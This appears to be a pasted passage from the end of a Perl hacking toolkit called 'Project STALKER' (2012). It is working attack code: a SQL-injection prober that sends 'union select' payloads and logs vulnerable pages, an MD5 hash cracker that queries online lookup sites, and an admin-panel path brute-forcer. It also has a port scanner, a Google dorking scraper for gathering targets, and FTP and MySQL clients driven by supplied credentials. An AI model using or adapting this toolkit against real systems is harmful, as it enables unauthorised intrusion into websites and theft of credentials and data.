  1642.         $procesos{ $pro->{Caption} } = $pro->{ProcessId};
  1643.     }
  1644.     return %procesos;
  1645. }
  1646.  
  1647. sub killprocess {
  1648.  
  1649.     my $pid = shift;
  1650.  
  1651.     if ( Win32::Process::KillProcess( $pid, "" ) ) {
  1652.         return true;
  1653.     }
  1654.     else {
  1655.         return false;
  1656.     }
  1657. }
  1658.  
  1659. sub getip {
  1660.     my $get = gethostbyname( $_[0] );
  1661.     return inet_ntoa($get);
  1662. }
  1663.  
  1664. sub ftp {
  1665.  
  1666.     my ( $ftp, $user, $pass ) = @_;
  1667.  
  1668.     if ( my $socket = Net::FTP->new($ftp) ) {
  1669.         if ( $socket->login( $user, $pass ) ) {
  1670.  
  1671.             print "\n[+] Enter of the server FTP\n\n";
  1672.  
  1673.           menu:
  1674.  
  1675.             print "\n\nftp>";
  1676.             chomp( my $cmd = <stdin> );
  1677.             print "\n\n";
  1678.  
  1679.             if ( $cmd =~ /help/ ) {
  1680.                 print q(
  1681.  
  1682. help : show information
  1683. cd : change directory <dir>
  1684. dir : list a directory
  1685. mdkdir : create a directory <dir>
  1686. rmdir : delete a directory <dir>
  1687. pwd : directory  
  1688. del : delete a file <file>
  1689. rename : change name of the a file <file1> <file2>
  1690. size : size of the a file <file>
  1691. put : upload a file <file>
  1692. get : download a file <file>
  1693. cdup : change dir <dir>
  1694. exit : ??
  1695.  
  1696.  
  1697. );
  1698.             }
  1699.  
  1700.             if ( $cmd =~ /dir/ig ) {
  1701.                 if ( my @files = $socket->dir() ) {
  1702.                     for (@files) {
  1703.                         print "[+] " . $_ . "\n";
  1704.                     }
  1705.                 }
  1706.                 else {
  1707.                     print "\n\n[-] Error\n\n";
  1708.                 }
  1709.             }
  1710.  
  1711.             if ( $cmd =~ /pwd/ig ) {
  1712.                 print "[+] Path : " . $socket->pwd() . "\n";
  1713.             }
  1714.  
  1715.             if ( $cmd =~ /cd (.*)/ig ) {
  1716.                 if ( $socket->cwd($1) ) {
  1717.                     print "[+] Directory changed\n";
  1718.                 }
  1719.                 else {
  1720.                     print "\n\n[-] Error\n\n";
  1721.                 }
  1722.             }
  1723.  
  1724.             if ( $cmd =~ /cdup/ig ) {
  1725.                 if ( my $dir = $socket->cdup() ) {
  1726.                     print "\n\n[+] Directory changed\n\n";
  1727.                 }
  1728.                 else {
  1729.                     print "\n\n[-] Error\n\n";
  1730.                 }
  1731.             }
  1732.  
  1733.             if ( $cmd =~ /del (.*)/ig ) {
  1734.                 if ( $socket->delete($1) ) {
  1735.                     print "[+] File deleted\n";
  1736.                 }
  1737.                 else {
  1738.                     print "\n\n[-] Error\n\n";
  1739.                 }
  1740.             }
  1741.  
  1742.             if ( $cmd =~ /rename (.*) (.*)/ig ) {
  1743.                 if ( $socket->rename( $1, $2 ) ) {
  1744.                     print "[+] File Updated\n";
  1745.                 }
  1746.                 else {
  1747.                     print "\n\n[-] Error\n\n";
  1748.                 }
  1749.             }
  1750.  
  1751.             if ( $cmd =~ /mkdir (.*)/ig ) {
  1752.                 if ( $socket->mkdir($1) ) {
  1753.                     print "\n\n[+] Directory created\n";
  1754.                 }
  1755.                 else {
  1756.                     print "\n\n[-] Error\n\n";
  1757.                 }
  1758.             }
  1759.  
  1760.             if ( $cmd =~ /rmdir (.*)/ig ) {
  1761.                 if ( $socket->rmdir($1) ) {
  1762.                     print "\n\n[+] Directory deleted\n";
  1763.                 }
  1764.                 else {
  1765.                     print "\n\n[-] Error\n\n";
  1766.                 }
  1767.             }
  1768.  
  1769.             if ( $cmd =~ /exit/ig ) {
  1770.                 next;
  1771.             }
  1772.  
  1773.             if ( $cmd =~ /get (.*) (.*)/ig ) {
  1774.                 print "\n\n[+] Downloading file\n\n";
  1775.                 if ( $socket->get( $1, $2 ) ) {
  1776.                     print "[+] Download completed";
  1777.                 }
  1778.                 else {
  1779.                     print "\n\n[-] Error\n\n";
  1780.                 }
  1781.             }
  1782.  
  1783.             if ( $cmd =~ /put (.*) (.*)/ig ) {
  1784.                 print "\n\n[+] Uploading file\n\n";
  1785.                 if ( $socket->put( $1, $2 ) ) {
  1786.                     print "[+] Upload completed";
  1787.                 }
  1788.                 else {
  1789.                     print "\n\n[-] Error\n\n";
  1790.                 }
  1791.             }
  1792.  
  1793.             if ( $cmd =~ /quit/ ) {
  1794.                 next;
  1795.             }
  1796.  
  1797.             goto menu;
  1798.  
  1799.         }
  1800.         else {
  1801.             print "\n[-] Failed the login\n\n";
  1802.         }
  1803.  
  1804.     }
  1805.     else {
  1806.         print "\n\n[-] Error\n\n";
  1807.     }
  1808.  
  1809. }
  1810.  
  1811. sub crackit {
  1812.  
  1813.     my $target = shift;
  1814.  
  1815.     chomp $target;
  1816.  
  1817.     my %hash = (
  1818.  
  1819.         'http://md5.hashcracking.com/search.php?md5=' => {
  1820.             'tipo'  => 'get',
  1821.             'regex' => "Cleartext of $target is (.*)",
  1822.         },
  1823.  
  1824.         'http://www.hashchecker.com/index.php?_sls=search_hash' => {
  1825.             'variables' => { 'search_field' => $target, 'Submit' => 'search' },
  1826.             'regex' =>
  1827.               "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
  1828.         },
  1829.  
  1830.         'http://md5.rednoize.com/?q=' => {
  1831.             'tipo'  => 'get',
  1832.             'regex' => "<div id=\"result\" >(.*)<\/div>"
  1833.         },
  1834.  
  1835.         'http://md52.altervista.org/index.php?md5=' => {
  1836.             'tipo'  => 'get',
  1837.             'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
  1838.           }
  1839.  
  1840.     );
  1841.  
  1842.     for my $data ( keys %hash ) {
  1843.         if ( $hash{$data}{tipo} eq "get" ) {
  1844.             $code = toma( $data . $target );
  1845.             if ( $code =~ /$hash{$data}{regex}/ig ) {
  1846.                 my $found = $1;
  1847.                 unless ( $found =~ /\[Non Trovata\]/ ) {
  1848.                     return $found;
  1849.                     last;
  1850.                 }
  1851.             }
  1852.         }
  1853.         else {
  1854.             $code = tomar( $data, $hash{$data}{variables} );
  1855.             if ( $code =~ /$hash{$data}{regex}/ig ) {
  1856.                 my $found = $1;
  1857.                 return $found;
  1858.                 last;
  1859.             }
  1860.         }
  1861.     }
  1862.     return "false01";
  1863. }
  1864.  
  1865. sub ver_length {
  1866.     return true if length( $_[0] ) == 32;
  1867. }
  1868.  
  1869. sub scanpaths {
  1870.  
  1871.     my $urla = $_[0];
  1872.  
  1873.     print "\n[+] Find paths in $urla\n\n\n";
  1874.     my @urls = repes( get_links( toma($urla) ) );
  1875.     for $url (@urls) {
  1876.         my $web = $url;
  1877.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split($url);
  1878.         if ( $_[0] =~ /$auth/ or $auth eq "" ) {
  1879.             if ( $path =~ /(.*)\/(.*)\.(.*)$/ ) {
  1880.                 my $borrar = $2 . "." . $3;
  1881.                 if ( $web =~ /(.*)$borrar/ ) {
  1882.                     my $co = $1;
  1883.                     unless ( $co =~ /$auth/ ) {
  1884.                         $co = $urla . $co;
  1885.                     }
  1886.                     $code = toma($co);
  1887.                     if ( $code =~ /Index Of/ig ) {
  1888.                         print "[Link] : " . $co . "\n";
  1889.                         saveyes( "logs/paths-found.txt", $co );
  1890.                     }
  1891.                 }
  1892.             }
  1893.         }
  1894.     }
  1895. }
  1896.  
  1897. sub scanport {
  1898.  
  1899.     my %ports = (
  1900.         "21"   => "ftp",
  1901.         "22"   => "ssh",
  1902.         "25"   => "smtp",
  1903.         "80"   => "http",
  1904.         "110"  => "pop3",
  1905.         "3306" => "mysql"
  1906.     );
  1907.  
  1908.     print "[+] Scanning $_[0]\n\n\n";
  1909.  
  1910.     for my $port ( keys %ports ) {
  1911.  
  1912.         if (
  1913.             new IO::Socket::INET(
  1914.                 PeerAddr => $_[0],
  1915.                 PeerPort => $port,
  1916.                 Proto    => "tcp",
  1917.                 Timeout  => 0.5
  1918.             )
  1919.           )
  1920.         {
  1921.             print "[Port] : " . $port . " [Service] : " . $ports{$port} . "\n";
  1922.         }
  1923.     }
  1924.     print "\n\n[+] Finish\n";
  1925. }
  1926.  
  1927. sub scanpanel {
  1928.     print "[+] Scanning $_[0]\n\n\n";
  1929.     for $path (@panels) {
  1930.         $code = tomax( $_[0] . "/" . $path );
  1931.         if ( $code->is_success ) {
  1932.             print "[Link] : " . $_[0] . "/" . $path . "\n";
  1933.             saveyes( "logs/panel-logs.txt", $_[0] . "/" . $path );
  1934.         }
  1935.     }
  1936.     print "\n\n[+] Finish\n";
  1937. }
  1938.  
  1939. sub google {
  1940.     my ( $a, $b ) = @_;
  1941.     my @founds;
  1942.     for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  1943.         $code = toma(
  1944.             "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
  1945.         while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
  1946.             my $url = $1;
  1947.             if ( $url =~ /\/url\?q\=(.*?)\&amp\;/ ) {
  1948.                 push( @founds, uri_unescape($1) );
  1949.             }
  1950.         }
  1951.     }
  1952.     my @founds = repes( cortar(@founds) );
  1953.     return @founds;
  1954. }
  1955.  
  1956. sub sql {
  1957.  
  1958.     my ( $pass1, $pass2 ) = ( "+", "--" );
  1959.     my $page = shift;
  1960.     $code1 =
  1961.       toma( $page . "-1"
  1962.           . $pass1 . "union"
  1963.           . $pass1
  1964.           . "select"
  1965.           . $pass1 . "666"
  1966.           . $pass2 );
  1967.     if ( $code1 =~
  1968.         /The used SELECT statements have a different number of columns/ig )
  1969.     {
  1970.         print "[+] SQLI : $page\a\n";
  1971.         saveyes( "logs/sql-logs.txt", $page );
  1972.     }
  1973. }
  1974.  
  1975. sub get_links {
  1976.  
  1977.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  1978.     return @links;
  1979.  
  1980.     sub agarrar {
  1981.         my ( $a, %b ) = @_;
  1982.         push( @links, values %b );
  1983.     }
  1984. }
  1985.  
  1986. sub repes {
  1987.     my @limpio;
  1988.     foreach $test (@_) {
  1989.         push @limpio, $test unless $repe{$test}++;
  1990.     }
  1991.     return @limpio;
  1992. }
  1993.  
  1994. sub cortar {
  1995.     my @nuevo;
  1996.     for (@_) {
  1997.         if ( $_ =~ /=/ ) {
  1998.             @tengo = split( "=", $_ );
  1999.             push( @nuevo, @tengo[0] . "=" );
  2000.         }
  2001.         else {
  2002.             push( @nuevo, $_ );
  2003.         }
  2004.     }
  2005.     return @nuevo;
  2006. }
  2007.  
  2008. sub head {
  2009.     cprint "\x0311";    #13
  2010.     print "\n\n-- == Project STALKER == --\n\n";
  2011.     cprint "\x030";
  2012. }
  2013.  
  2014. sub copyright {
  2015.     cprint "\x0311";    #13
  2016.     print "\n\n(C) Doddy Hackman 2012\n\n";
  2017.     cprint "\x030";
  2018. }
  2019.  
  2020. sub toma {
  2021.     return $nave->get( $_[0] )->content;
  2022. }
  2023.  
  2024. sub tomax {
  2025.     return $nave->get( $_[0] );
  2026. }
  2027.  
  2028. sub tomar {
  2029.     my ( $web, $var ) = @_;
  2030.     return $nave->post( $web, [ %{$var} ] )->content;
  2031. }
  2032.  
  2033. sub conectar {
  2034.  
  2035.     my $sockex = new IO::Socket::INET(
  2036.         PeerAddr => $_[0],
  2037.         PeerPort => $_[1],
  2038.         Proto    => "tcp",
  2039.         Timeout  => 5
  2040.     );
  2041.  
  2042.     print $sockex $_[2] . "\r\n";
  2043.     $sockex->read( $re, 5000 );
  2044.     $sockex->close;
  2045.     return $re . "\r\n";
  2046. }
  2047.  
  2048. sub enter {
  2049.  
  2050.     my ( $host, $user, $pass ) = @_;
  2051.  
  2052.     print "[+] Connecting to the server\n";
  2053.  
  2054.     $info = "dbi:mysql::" . $host . ":3306";
  2055.     if ( my $enter = DBI->connect( $info, $user, $pass, { PrintError => 0 } ) )
  2056.     {
  2057.  
  2058.         print "\n[+] Enter in the database";
  2059.  
  2060.         while (1) {
  2061.             print "\n\n\n[+] Query : ";
  2062.             chomp( my $ac = <stdin> );
  2063.  
  2064.             if ( $ac eq "exit" ) {
  2065.                 $enter->disconnect;
  2066.                 print "\n\n[+] Closing connection\n\n";
  2067.                 last;
  2068.             }
  2069.  
  2070.             $re = $enter->prepare($ac);
  2071.             $re->execute();
  2072.             my $total = $re->rows();
  2073.  
  2074.             my @columnas = @{ $re->{NAME} };
  2075.  
  2076.             if ( $total eq "-1" ) {
  2077.                 print "\n\n[-] Query Error\n";
  2078.                 next;
  2079.             }
  2080.             else {
  2081.                 print "\n\n[+] Result of the query\n";
  2082.                 if ( $total eq 0 ) {
  2083.                     print "\n\n[+] Not rows returned\n\n";
  2084.                 }
  2085.                 else {
  2086.                     print "\n\n[+] Rows returned : " . $total . "\n\n\n";
  2087.                     for (@columnas) {
  2088.                         print $_. "\t\t";
  2089.                     }
  2090.                     print "\n\n";
  2091.                     while ( @row = $re->fetchrow_array ) {
  2092.                         for (@row) {
  2093.                             print $_. "\t\t";
  2094.                         }
  2095.                         print "\n";
  2096.                     }
  2097.                 }
  2098.             }
  2099.         }
  2100.     }
  2101.     else {
  2102.         print "\n[-] Error connecting\n";
  2103.     }
  2104. }
  2105.  
  2106. sub encode {
  2107.     my $string = $_[0];
  2108.     $hex = '0x';
  2109.     for ( split //, $string ) {
  2110.         $hex .= sprintf "%x", ord;
  2111.     }
  2112.     return $hex;
  2113. }
  2114.  
  2115. sub saveyes {
  2116.     open( SAVE, ">>" . $_[0] );
  2117.     print SAVE $_[1] . "\n";
  2118.     close SAVE;
  2119. }
  2120.  
  2121. sub savefile {
  2122.     open( SAVE, ">>logs/webs/" . $_[0] );
  2123.     print SAVE $_[1] . "\n";
  2124.     close SAVE;
  2125. }
  2126.  
  2127. sub coleccionar {
  2128.     opendir DIR, $_[0];
  2129.     my @archivos = readdir DIR;
  2130.     close DIR;
  2131.     return @archivos;
  2132. }
  2133.  
  2134. sub infocon {
  2135.     my $target = shift;
  2136.  
  2137.     my $get    = gethostbyname($target);
  2138.     my $target = inet_ntoa($get);
  2139.  
  2140.     print "[+] Getting info\n\n\n";
  2141.     $total =
  2142.       "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  2143.     $re = toma($total);
  2144.  
  2145.     if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  2146.         print "[+] City : $2\n";
  2147.     }
  2148.     else {
  2149.         print "[-] Not Found\n";
  2150.         copyright();
  2151.     }
  2152.     if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  2153.         print "[+] Country : $2\n";
  2154.     }
  2155.     if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  2156.         print "[+] State or Region : $2\n";
  2157.     }
  2158.  
  2159.     print "\n\n[+] Getting Hosts\n\n\n";
  2160.  
  2161.     my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  2162.  
  2163.     while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  2164.         my $dns = $1;
  2165.         chomp $dns;
  2166.         print "[DNS] : $dns\n";
  2167.     }
  2168. }
  2169.  
  2170. sub whois {
  2171.  
  2172.     my $ob   = shift;
  2173.     my $code = tomar(
  2174.         "http://networking.ringofsaturn.com/Tools/whois.php",
  2175.         { "domain" => $ob, "submit" => "submit" }
  2176.     );
  2177.  
  2178.     my @chau = ( "&quot;", "&gt;&gt;&gt;", "&lt;&lt;&lt;" );
  2179.  
  2180.     if ( $code =~ /<pre>(.*?)<\/pre>/sig ) {
  2181.         my $resul = $1;
  2182.         chomp $resul;
  2183.  
  2184.         for my $cha (@chau) {
  2185.             $resul =~ s/$cha//ig;
  2186.         }
  2187.  
  2188.         if ( $resul =~ /Whois Server Version/ ) {
  2189.             return $resul;
  2190.         }
  2191.         else {
  2192.             return "Not Found";
  2193.         }
  2194.     }
  2195. }
  2196.  
  2197. sub partimealmedio {
  2198.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
  2199.     my $save = $auth;
  2200.     $save =~ s/:/_/;
  2201.     return $save;
  2202. }
  2203.  
  2204. sub helpme {
  2205.  
  2206.     cprint "\x035";
  2207.     print qq(
  2208. This program was coded By Doddy Hackman in the year 2012
  2209.  
  2210. [+] Commands :
  2211.  
  2212. [++] cmd_getinfo [Windows Only]
  2213. [++] cmd_getip <host>
  2214. [++] cmd_getlink <page>
  2215. [++] cmd_getprocess [Windows Only]
  2216. [++] cmd_killprocess <pid process> [Windows Only]
  2217. [++] cmd_conec <host> <port> <command>  
  2218. [++] cmd_allow <host>
  2219. [++] cmd_paths <page>
  2220. [++] cmd_encodehex <text>
  2221. [++] cmd_decodehex <text>
  2222. [++] cmd_encodeascii <text>
  2223. [++] cmd_decodeascii <text>
  2224. [++] cmd_encodebase <text>
  2225. [++] cmd_decodebase <text>
  2226. [++] cmd_scanport <host>
  2227. [++] cmd_panel <page>
  2228. [++] cmd_getpass <hash>
  2229. [++] cmd_kobra <page>
  2230. [++] cmd_ftp <host> <user> <pass>
  2231. [++] cmd_mysql <host> <user> <pass>
  2232. [++] cmd_locate <ip>
  2233. [++] cmd_whois <dom>
  2234. [++] cmd_navegator
  2235. [++] cmd_scangoogle
  2236. [++] cmd_help
  2237. [++] cmd_exit
  2238. );
  2239.     cprint "\n\n\n\x030";
  2240. }
  2241.  
  2242. #  The End ?
Add Comment
Please, Sign In to add comment